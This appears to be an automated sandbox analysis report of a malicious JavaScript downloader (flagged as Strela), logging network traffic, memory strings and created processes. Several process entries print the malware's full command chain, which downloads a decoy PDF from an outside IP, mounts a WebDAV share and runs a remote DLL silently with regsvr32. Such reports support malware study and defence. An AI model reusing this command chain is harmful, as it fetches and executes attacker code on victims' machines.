21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:61789 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1295556799.0000027C0882F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1297735907.0000027C0883F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1356235722.000002643C2E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1356235722.000002643C325000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1356235722.000002643C33F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1356235722.000002643C325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/dx
Source: net.exe, 00000008.00000002.1356235722.000002643C2E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem6
Source: svchost.exe, 0000000A.00000002.2586540211.0000025926A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1354516587.00000259269C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7380, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 24233226922003220721.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@4/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gh4ki2qh.adq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 24233226922003220721.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1740,i,17434924027587996690,12863139382215928345,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1740,i,17434924027587996690,12863139382215928345,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
